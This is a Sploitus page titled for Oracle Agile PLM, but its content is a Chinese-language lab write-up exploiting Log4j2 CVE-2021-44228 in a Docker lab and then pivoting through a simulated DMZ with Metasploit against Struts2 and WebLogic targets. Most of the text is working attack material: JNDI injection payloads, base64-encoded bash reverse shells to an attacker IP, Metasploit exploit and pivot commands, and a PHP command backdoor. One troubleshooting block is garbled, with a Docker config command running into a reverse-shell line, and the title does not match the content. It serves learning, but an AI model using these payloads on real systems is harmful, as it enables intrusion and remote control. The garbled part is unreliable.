Sploitus

Exploit for Injection in Oracle Agile Plm

gitee · 2024-10-29

Exploit Code

MARKDOWN563 lines
## https://sploitus.com/exploit?id=6EF7E52B-4C52-51AF-B760-DDDD5C8D98A8
# 针对 loj4j2 CVE-2021-44228 漏洞的研究

# 实验平台

- VirtualBox  7.0.12 r159484 (Qt5.15.2)

- Attacker kali 

    - 网络地址转换(NAT)
    - host-only 网络 192.168.56.101

- Victim kali 2023.3
  
    - 网络地址转换(NAT)
    - host-only 网络 192.168.56.112

# 实验任务

- - [x] 搭建实验平台

- - [x] 漏洞存在性验证
     > 以 loj4j2 CVE-2021-44228 为例

- - [x] 漏洞可利用验证
      > 以 loj4j2 CVE-2021-44228 为例)

- - [x] 场景化漏洞攻击
      > 以 vulfocus 提供的【跨网段渗透(常见的dmz)】为例

# 实验步骤

## 实验环境搭建

Victim 安装 Docker Compose ,直接使用配置完成的文件直接构建实验环境
```bash
git clone https://github.com/c4pr1c3/ctf-games.git
sudo apt update && sudo apt install -y docker.io docker-compose jq
```
![](img/dockercompose.png)

将  victim 用户添加到 docker 用户组,免 sudo 执行 docker 相关指令

```bash
sudo usermod -a -G docker victim
```

![](img/用户组.png)

vulfocus 目录运行脚本,本地 80 端口打开容器

```bash
bash start.sh
```
![](img/构建环境.png)

Attacker 进入部署好的地址,能够看到对应的镜像列表等信息

搜索下载 `Log4j2远程命令执行(CVE-2021-44228)` 镜像

![](img/列表.png)

在页面中 系统管理 -> 系统配置 -> 镜像过期时间 设置为 0 永不过期


## 寻找靶标访问入口

![](img/访问入口.png)

浏览器访问 192.168.56.112:17193 (端口会更新)

![](img/入口.png)

### 检测 log4j2 漏洞的存在性

远程链接 victim
```bash
# victim
sudo service ssh start
# attacker
ssh victim@192.168.56.112
# attacker 访问后在 victim 中查看容器列表
docker ps
```
访问端口为 17193 ,发现容器名称为 beautiful_joliot

进入容器发现容器目录下有 demo.jar 文件,拉取到容器的宿主机进行分析

### 进入容器拉取问题文件

```bash
# 进入容器
docker exec -it beautiful_joliot bash
# 将文件复制到 victim 桌面
sudo docker cp beautiful_joliot:/demo/demo.jar /home/victim/Desktop/
# 文件发送到 attacker 桌面
scp victim@192.168.56.112:/home/victim/Desktop/demo.jar /home/attacker/Desktop/
```
![](img/拉取文件.png)

!注意以下为新部署环境,容器名称变更为 `strange_saha` ,开放端口变为 `58964`

### 使用 [jadx](https://github.com/skylot/jadx) 反编译 demo.jar

下载 [jadx-1.5.0.zip](https://github.com/skylot/jadx/releases/tag/v1.5.0) ,进行 [安装jadx](https://blog.csdn.net/u014602228/article/details/122190940)

```bash
# 启动 jadx
cd  /jadx/build/jadx/bin/ 
./jadx-gui
# file -> open new file 打开jemo.jar 反编译
```
反编译发现源码中,违背了‘KISS’原则,验证了漏洞存在

## 验证 log4j2 漏洞可利用性

访问 [http://dnslog.cn/](http://dnslog.cn/) 获得一个随机域名 `lvzjl1.dnslog.cn`

使用 `PoC` 手动测试 `${jndi:ldap://lvzjl1.dnslog.cn/abc}`

发现如果直接访问 `http://192.168.56.112:58964/hello?payload=${jndi:ldap://lvzjl1.dnslog.cn/abc}` 会发发生 400 错误,需要将 payload 中的内容进行 url 编码,故使用 burp suite 工具进行操作

具体操作步骤如下

- 抓包

浏览器访问 `http://192.168.56.112:58964` ,开始抓包后点击页面中的 `?????` 或开启抓包后直接访问 `http://192.168.56.112:58964/hello?payload=111` 

- 改包

将所抓包发送到 `repeater` 模块中进行 url 编码,得到 `payload=${jndi:ldap://lvzjl1.dnslog.cn/abc}` 的 url 编码

- 释放

在 `proxy` 模块中修改包后,`forword` 释放,或在 `repeater` 模块中 `apply change` 后直接 `send` 发送

- 结果

发现两次解析了 payload 中的域名 `lvzjl1.dnslog.cn` ,验证了漏洞的可利用性
> 由于使用了代理导致解析请求 IP 地址并不一致

payload url 编码

![](img/url编码.png)

收到两次解析记录

![](img/确认漏洞2.png)

## log4j2 漏洞利用效果

!!!重新启动环境后,开放端口变为 `11607` ,容器名称、变更为 `eloquent_brahmagupta`

### 调试反弹 shell

在已知问题所在的情况下

```bash
# attacker 开启监听
nc -l -p 7777
# victim 进入容器
docker exec -it eloquent_brahmagupta bash
# 查看支持的 shell
cat /etc/shells
# 通过 bash 内置的 tcp 连接反弹端口
bash -i >& /dev/tcp/192.168.56.101/7777 0>&1
# atacker 可以查看靶机相关信息
ls /tmp
# 查看靶标 flag-{bmhca84417e-bdac-4b51-b7ef-2d61c879a252}
```
![](img/调试shell.png)

### 方法一:使用 [JNDIExploit](https://github.com/Mr-xn/JNDIExploit-1) 工具进行 JNDI 注入

```bash
# 下载
wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
# 解压
unzip JNDIExploit.v1.2.zip
# 检查文件完整性
shasum -a 256 JNDIExploit-1.2-SNAPSHOT.jar
# c96ce1de7f739575d86f2e558aeb97dc691077b31a1c510a3dabf096c827dfa8  JNDIExploit-1.2-SNAPSHOT.jar
# attacker 使用 JNDIExploit 工具进行监听
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.56.101
# attacker 监听
nc -l -p 7777
# 构造反弹 shell 的 payload
bash -i >&/dev/tcp/192.168.56.101/7777 0>&1
# payload 进行 base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS83Nzc3IDA+JjE=
# 再进行 url 编码
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS83Nzc3IDA%2BJjE%3D
# 构造 JNDI 注入 payload
${jndi:ldap://192.168.56.101:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS83Nzc3IDA%2BJjE%3D}
# 对整个 JNDI 注入 payload 进行 URL 编码
%24%7Bjndi%3Aldap%3A%2F%2F192.168.56.101%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS83Nzc3IDA%252BJjE%3D%7D
# victim 攻击投放 payload
curl -X GET "http://192.168.56.112:11607/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2F192.168.56.101%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS83Nzc3IDA%252BJjE%3D%7D"
```
攻击成功

![](img/JNDIExploit攻击成功.png)

发现 flag

```bash
flag-{bmhca84417e-bdac-4b51-b7ef-2d61c879a252}
```

## 使用 Metasploit 工具进行场景化漏洞攻击

> 以 vulfocus 提供的【跨网段渗透(常见的dmz)】为例
> victim 主机更换至新 IP 地址 192.168.56.114
> 使用 metasploit 工具,切记不要随意 ctrl c 中断

### 手搓 DMZ 环境搭建

下载三个漏洞镜像 `vulfocus/struts2-cve_2020_17530:latest` , `vulfocus/weblogic-cve_2019_2725:latest` 和 `vulshare/nginx-php-flag:latest`

由于网站下载失败,直接在 docker 里面拉取漏洞镜像

```bash
docker pull vulfocus/struts2-cve_2020_17530:latest
docker pull vulfocus/weblogic-cve_2019_2725:latest
docker pull vulshare/nginx-php-flag:latest
```

漏洞镜像拉取完成后,网页同步添加漏洞镜像,按照如下结构搭建场景

![](img/场景.png)

启动场景 -> DMZ

靶标入口 `192.168.56.114:15714`

![](img/靶标入口.png)

### 攻破靶标 1

```bash
# 更新 metasploit
sudo apt install -y metasploit-framework
# 初始化 metasploit 本地工作数据库
sudo msfdb init
# 启动 msfconsole
msfconsole
```
![](img/配置metasploit.png)

```bash
# 确认已连接 pgsql
db_status
# 建立工作区
# workspace 查看工作区列表,-a 添加,-d 删除,直接加名字进行切换
workspace -a demo
```
![](img/创建工作区.png)

```bash
# 搜索相关 exp 程序
search struts2 type:exploit
```
![](img/搜索exp.png)

```bash
# 查看 exp 详情,程序是否合适
# 可以直接通过搜索结果编号,也可以通过搜索结果的 Name 字段
info 2
```
![](img/2详情.png)

```bash
# 继续完善搜索关键词
search S2-059 type:exploit
```
![](img/完善搜索.png)

```bash
# 使用上述 exp
use 0
# 查看 exp 可配置参数列表
show options
# 查看可用 exp payloads
show payloads
```
![](img/查看exp.png)

```bash
# 使用合适反弹 shell 的 exp payload
set payload payload/cmd/unix/reverse_bash
# 查看配置 exp 参数
show options
# 确保所有 Required=yes 参数均正确配置
# 靶机 IP
set RHOSTS 192.168.56.114
# 靶机目标端口
set rport 15714
# 攻击者主机 IP
set LHOST  192.168.56.101
# 再次检查 exp 配置参数列表
show options
```
![](img/配置exp.png)

```bash
# 反弹 shell
exploit -j
# 显示攻击成功信息,查看 reverse shell 列表
sessions -l
# 进入会话 1
sessions -i 1
# 无命令行交互提示信息,试一试 Bash 指令
id
ls /tmp
flag-{bmha62a43fd-aa86-46ca-a5b6-065b57532cca}
# CTRL-Z 将当前会话放到后台继续执行
```
![](img/flag1.png)

![](img/20%.png)

### 建立立足点并发现靶标2-4

!!!重启后开放端口变更为 48734

```bash
# upgrade cmdshell to meterpreter shell,使用代理必须 meterpreter shell,普通 shell 不可以
sessions -u 1
# 升级后 可以发现新建了一个对话
sessions -l
```
![](img/升级会话.png)

```bash
# 进行端口扫描
db_nmap -p 48734,80,22 192.168.56.114 -A -T4 -n
```
![](img/扫描端口.png)

```bash
# 查看 services 记录,扫描结果保存数据库
services
# 查看 hosts 记录发现存在一个新主机
hosts
```
![](img/查看记录.png)

```bash
# 进入 meterpreter session 2
sessions -i 2
# 查看网卡列表
ipconfig
# 发现真正的内网地址 192.179.84.5
```
![](img/网卡列表.png)

```bash
# 查看网络拓扑信息
# # 查看 ARP 表
arp
# 查看路由表
route
# 得到新的内网网段 192.179.84.0/24
```
![](img/网络拓扑.png)

通过新的主机作为跳板进行内网渗透

```bash
# meterpreter 对话添加目标网段创建代理
run autoroute -s 192.179.84.0/24
# 检查 Pivot 路由是否已创建成功
run autoroute -p
# 通过 session 2 建立了一个 metasploit 的虚拟路由
```
![](img/虚拟路由.png)

```bash
# 退出 meterpreter
# portscan through pivot
search portscan
use auxiliary/scanner/portscan/tcp
show options
# 根据子网掩码推导
set RHOSTS 192.179.84.2-254
# 根据「经验」(端口依靠经验猜测 or 穷举)
set PORTS 7001
# 根据「经验」设置并发扫描线程数
set threads 10
# 开始扫描
run -j
# 发现内网三台存活主机
```
![](img/发现靶标.png)

```bash
# # 查看主机存活情况
hosts
# 2 3 4,5为入口靶标
# 查看发现的服务列表,发现三个新主机开放的端口
services
```
![](img/查看靶机234.png)

```bash
# 开启代理以便用 nmap 进行扫描
# setup socks5 proxy 
search socks_proxy
use auxiliary/server/socks_proxy
run -j
# 使用该代理模块当前会话立足点会话建立起的一个跳板
```
![](img/设置代理.png)

```bash
# 新开一个 ssh 会话窗口连接 attacker
# 检查 1080 端口服务开放情况
sudo lsof -i tcp:1080 -l -n -P
# vim 编辑 /etc/proxychains4.conf 或者 输入以下命令脚本执行修改,添加 socks5 代理
sudo sed -i.bak -r "s/socks4\s+127.0.0.1\s+9050/socks5 127.0.0.1 1080/g" /etc/proxychains4.conf
proxychains sudo nmap -vv -n -p 7001 -Pn -sT 192.179.84.2-5
```
![](img/1080开放情况.png)

![](img/端口状态.png)

```bash
# 虽然端口状态显示 filtered ,实际是开放的
# 进入 shell 对话验证
# 重新进入 shell 会话
sessions -i 1
curl http://192.179.84.2:7001 -vv
curl http://192.179.84.3:7001 -vv
curl http://192.179.84.4:7001 -vv
# 出现 404 错误,说明网络层联通,应用层只是请求了不存在的地址
```
![](img/靶标234.png)

### 攻破靶标 2-4

>开启上帝视角知道三个靶机都存在 cve-2019-2725 漏洞

```bash
# search exploit
search cve-2019-2725
# getshell
use 0
show options
# 分别设置不同的靶机 IP 
set RHOSTS 192.179.84.2
set RHOSTS 192.179.84.3
set RHOSTS 192.179.84.4
# 设置本地主机
set lhost 192.168.56.101
# 分别 run
run -j
```
![](img/反弹3个shell.png)

```bash
# get flag2-4 ,根据对应会话找到对应靶标 flag
sessions -c "ls /tmp" -i 3
# flag-{bmh28c1a8a1-0fe9-4350-85ce-d687adadeb25}
sessions -c "ls /tmp" -i 4
# flag-{bmhc59a5bc3-6e19-4b8f-b7c0-87a21b446146}
sessions -c "ls /tmp" -i 5
# flag-{bmh5b02d54d-f4b9-4b61-9d0d-ce1a8a8068d1}
```
![](img/flag2-4.png)

![](img/80%.png)


### 攻破最终靶标5

```bash
# 通过网卡、路由、ARP 
sessions -c "ifconfig" -i 3,4,5
# 发现 session 5 即靶机 192.179.84.3 有两个网卡,发现新子网 192.180.85.0/24
```
![](img/双网卡.png)

```bash
# portscan through pivot
# 将会话 5 升级为 meterpreter shell
sessions -u 5
# 查看会话列表
sessions -l
# 新的 meterpreter shell 会话编号此处为 6
sessions -i 6
# 将新发现的子网加入 Pivot Route
run autoroute -s 192.180.85.0/24
run autoroute -p
```
![](img/代理2.png)

```bash
# 通过 CTRL-Z 将当前会话放到后台继续执行
use scanner/portscan/tcp
set RHOSTS 192.180.85.2-254
set ports 80
run 
hosts
# 发现更深的内网存活主机 192.180.85.2
# 新的 ssh 会话扫描新主机
proxychains sudo nmap -vv -n -p 80 -Pn -sT 192.180.85.2
# 发现是 filtered ,没有正确识别为 open 状态
```
![](img/发现靶机5.png)

```bash
# 利用跳板机 192.179.84.3 的 shell 会话 5「踩点」最终靶标
# sessions -i 5
curl http://192.180.85.2
# 发现没安装 curl ,试试 wget
wget http://192.180.85.2
# 发现没有命令执行显示,将输出结果保存到 result 文件,
wget http://192.180.85.2 -O /tmp/result && cat /tmp/result
# 发现提示修改命令
wget 'http://192.180.85.2/index.php?cmd=ls /tmp' -O /tmp/result && cat /tmp/result
# index.php?cmd=ls /tmpflag-{bmh71b9b561-f844-4759-8c0c-ba97c816c92d}
```
![](img/flag5.png)

![](img/100%.png)

# 实验遇到的问题及解决方案

## Q1 docker 源问题

```bash
sudo tee /etc/docker/daemon.json & /dev/tcp/192.168.56.101/7777 0>&1
# 进行 base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS83Nzc3IDA+JjE=
# 运行 JNDI-Injection-Exploit v1.0
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.56.101
```

```
${jndi:rmi://192.168.56.101:1099/u5zgep}
```

具体原因待实验完成后详细研究。











# 参考链接

[chatgpt](https://chatgpt.com)

[kali(linux)编译和安装 jadx 反编译工具](https://blog.csdn.net/u014602228/article/details/122190940)

[JNDI-Injection-Exploit 基于 JNDI 反弹 shell](https://blog.csdn.net/hapenl/article/details/127299130)

[burp suite 使用教程](https://blog.csdn.net/baidu_36124158/article/details/90906671)